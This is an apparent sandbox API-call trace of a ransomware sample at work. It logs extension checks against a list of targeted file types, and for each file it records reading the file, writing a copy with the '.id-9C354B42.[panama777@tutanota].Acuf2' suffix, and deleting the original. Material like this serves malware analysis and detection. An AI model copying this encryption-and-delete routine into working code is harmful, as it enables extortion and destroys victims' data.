	[0249.725] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1
	[0249.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67
	[0249.725] lstrlenW (lpString=".dbf") returned 4
	[0249.725] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1
	[0249.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67
	[0249.725] lstrlenW (lpString=".1cd") returned 4
	[0249.725] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1
	[0249.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67
	[0249.725] lstrlenW (lpString=".jpg") returned 4
	[0249.725] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1
	[0249.725] lstrcmpiW (lpString1=".FLT", lpString2=".Acuf2") returned 1
	[0249.725] lstrlenW (lpString="PNG32.FLT") returned 9
	[0249.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0249.725] GetFileSizeEx (in: hFile=0x298, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=302976) returned 1
	[0249.725] CloseHandle (hObject=0x298) returned 1
	[0249.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 0x20
	[0249.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64
	[0249.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64
	[0249.726] lstrlenW (lpString=".doc") returned 4
	[0249.726] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1
	[0249.726] lstrlenW (lpString=".docx") returned 5
	[0249.726] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1
	[0249.726] lstrlenW (lpString=".pdf") returned 4
	[0249.726] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1
	[0249.726] lstrlenW (lpString=".xls") returned 4
	[0249.726] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1
	[0249.726] lstrlenW (lpString=".xlsx") returned 5
	[0249.726] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1
	[0249.726] lstrlenW (lpString=".ppt") returned 4
	[0249.726] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1
	[0249.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64
	[0249.726] lstrlenW (lpString=".zip") returned 4
	[0249.726] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1
	[0249.726] lstrlenW (lpString=".rar") returned 4
	[0249.726] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1
	[0249.726] lstrlenW (lpString=".bz2") returned 4
	[0249.726] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1
	[0249.726] lstrlenW (lpString=".7z") returned 3
	[0249.726] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1
	[0249.729] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0249.863] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0249.869] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0249.871] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0253.471] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.471] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0253.471] GetLastError () returned 0x0
	[0253.471] ReadFile (in: hFile=0x334, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x1cd8, lpOverlapped=0x0) returned 1
	[0253.512] WriteFile (in: hFile=0x338, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x1ce0, lpOverlapped=0x0) returned 1
	[0253.513] ReadFile (in: hFile=0x334, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0253.513] WriteFile (in: hFile=0x338, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0253.513] SetEndOfFile (hFile=0x338) returned 1
	[0253.522] CloseHandle (hObject=0x338) returned 1
	[0253.522] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.522] SetEndOfFile (hFile=0x334) returned 1
	[0253.525] CloseHandle (hObject=0x334) returned 1
	[0253.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0253.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid")) returned 1
	[0253.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62
	[0253.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62
	[0253.590] lstrlenW (lpString=".doc") returned 4
	[0253.590] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0253.590] lstrlenW (lpString=".docx") returned 5
	[0253.590] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0253.590] lstrlenW (lpString=".pdf") returned 4
	[0253.590] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0253.590] lstrlenW (lpString=".xls") returned 4
	[0253.590] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0253.590] lstrlenW (lpString=".xlsx") returned 5
	[0253.590] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0253.590] lstrlenW (lpString=".ppt") returned 4
	[0253.590] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0253.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62
	[0253.590] lstrlenW (lpString=".zip") returned 4
	[0253.590] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0253.590] lstrlenW (lpString=".rar") returned 4
	[0253.590] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0253.590] lstrlenW (lpString=".bz2") returned 4
	[0253.590] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0253.590] lstrlenW (lpString=".7z") returned 3
	[0253.590] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0253.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62
	[0253.590] lstrlenW (lpString=".dbf") returned 4
	[0253.590] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0253.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62
	[0253.590] lstrlenW (lpString=".1cd") returned 4
	[0253.590] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0253.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62
	[0253.590] lstrlenW (lpString=".jpg") returned 4
	[0253.590] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0253.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62
	[0253.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62
	[0253.591] lstrlenW (lpString=".doc") returned 4
	[0253.591] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0253.591] lstrlenW (lpString=".docx") returned 5
	[0253.591] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0253.591] lstrlenW (lpString=".pdf") returned 4
	[0253.591] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0253.591] lstrlenW (lpString=".xls") returned 4
	[0253.591] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0253.591] lstrlenW (lpString=".xlsx") returned 5
	[0253.591] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0253.591] lstrlenW (lpString=".ppt") returned 4
	[0253.591] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0253.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62
	[0253.591] lstrlenW (lpString=".zip") returned 4
	[0253.591] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0253.591] lstrlenW (lpString=".rar") returned 4
	[0253.591] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0253.591] lstrlenW (lpString=".bz2") returned 4
	[0253.591] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0253.591] lstrlenW (lpString=".7z") returned 3
	[0253.591] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0253.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62
	[0253.591] lstrlenW (lpString=".dbf") returned 4
	[0253.591] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0253.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62
	[0253.591] lstrlenW (lpString=".1cd") returned 4
	[0253.591] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0253.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62
	[0253.592] lstrlenW (lpString=".jpg") returned 4
	[0253.592] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0253.592] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0253.592] lstrlenW (lpString="CARBN_01.MID") returned 12
	[0253.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0253.592] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=9322) returned 1
	[0253.592] CloseHandle (hObject=0x330) returned 1
	[0253.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid")) returned 0x20
	[0253.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0253.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0253.593] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.593] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0253.593] GetLastError () returned 0x0
	[0253.593] ReadFile (in: hFile=0x330, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x246a, lpOverlapped=0x0) returned 1
	[0253.595] WriteFile (in: hFile=0x334, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x2470, lpOverlapped=0x0) returned 1
	[0253.596] ReadFile (in: hFile=0x330, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0253.596] WriteFile (in: hFile=0x334, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0253.596] SetEndOfFile (hFile=0x334) returned 1
	[0253.596] CloseHandle (hObject=0x334) returned 1
	[0253.597] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.597] SetEndOfFile (hFile=0x330) returned 1
	[0253.599] CloseHandle (hObject=0x330) returned 1
	[0253.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0253.600] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid")) returned 1
	[0253.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63
	[0253.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63
	[0253.600] lstrlenW (lpString=".doc") returned 4
	[0253.600] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0253.600] lstrlenW (lpString=".docx") returned 5
	[0253.600] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0253.600] lstrlenW (lpString=".pdf") returned 4
	[0253.600] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0253.600] lstrlenW (lpString=".xls") returned 4
	[0253.600] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0253.600] lstrlenW (lpString=".xlsx") returned 5
	[0253.600] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0253.600] lstrlenW (lpString=".ppt") returned 4
	[0253.600] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0253.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63
	[0253.600] lstrlenW (lpString=".zip") returned 4
	[0253.600] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0253.601] lstrlenW (lpString=".rar") returned 4
	[0253.601] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0253.601] lstrlenW (lpString=".bz2") returned 4
	[0253.601] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0253.601] lstrlenW (lpString=".7z") returned 3
	[0253.601] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0253.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63
	[0253.601] lstrlenW (lpString=".dbf") returned 4
	[0253.601] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0253.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63
	[0253.601] lstrlenW (lpString=".1cd") returned 4
	[0253.601] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0253.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63
	[0253.601] lstrlenW (lpString=".jpg") returned 4
	[0253.601] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0253.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63
	[0253.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63
	[0253.601] lstrlenW (lpString=".doc") returned 4
	[0253.601] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0253.601] lstrlenW (lpString=".docx") returned 5
	[0253.601] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0253.601] lstrlenW (lpString=".pdf") returned 4
	[0253.601] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0253.601] lstrlenW (lpString=".xls") returned 4
	[0253.601] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0253.601] lstrlenW (lpString=".xlsx") returned 5
	[0253.601] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0253.601] lstrlenW (lpString=".ppt") returned 4
	[0253.601] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0253.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63
	[0253.601] lstrlenW (lpString=".zip") returned 4
	[0253.601] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0253.602] lstrlenW (lpString=".rar") returned 4
	[0253.602] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0253.602] lstrlenW (lpString=".bz2") returned 4
	[0253.602] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0253.602] lstrlenW (lpString=".7z") returned 3
	[0253.602] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0253.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63
	[0253.602] lstrlenW (lpString=".dbf") returned 4
	[0253.602] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0253.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63
	[0253.602] lstrlenW (lpString=".1cd") returned 4
	[0253.602] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0253.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63
	[0253.602] lstrlenW (lpString=".jpg") returned 4
	[0253.602] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0253.602] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0253.602] lstrlenW (lpString="CMNTY_01.MID") returned 12
	[0253.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0253.603] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=6970) returned 1
	[0253.603] CloseHandle (hObject=0x330) returned 1
	[0253.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x20
	[0253.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0253.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0253.604] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.604] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0253.604] GetLastError () returned 0x0
	[0253.604] ReadFile (in: hFile=0x330, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x1b3a, lpOverlapped=0x0) returned 1
	[0253.778] WriteFile (in: hFile=0x334, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x1b40, lpOverlapped=0x0) returned 1
	[0253.914] ReadFile (in: hFile=0x330, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0253.915] WriteFile (in: hFile=0x334, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0253.915] SetEndOfFile (hFile=0x334) returned 1
	[0254.049] CloseHandle (hObject=0x334) returned 1
	[0254.049] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.049] SetEndOfFile (hFile=0x330) returned 1
	[0254.051] CloseHandle (hObject=0x330) returned 1
	[0254.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 1
	[0254.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63
	[0254.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63
	[0254.068] lstrlenW (lpString=".doc") returned 4
	[0254.068] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0254.068] lstrlenW (lpString=".docx") returned 5
	[0254.068] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0254.068] lstrlenW (lpString=".pdf") returned 4
	[0254.068] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0254.068] lstrlenW (lpString=".xls") returned 4
	[0254.068] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0254.068] lstrlenW (lpString=".xlsx") returned 5
	[0254.068] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0254.068] lstrlenW (lpString=".ppt") returned 4
	[0254.069] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0254.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63
	[0254.069] lstrlenW (lpString=".zip") returned 4
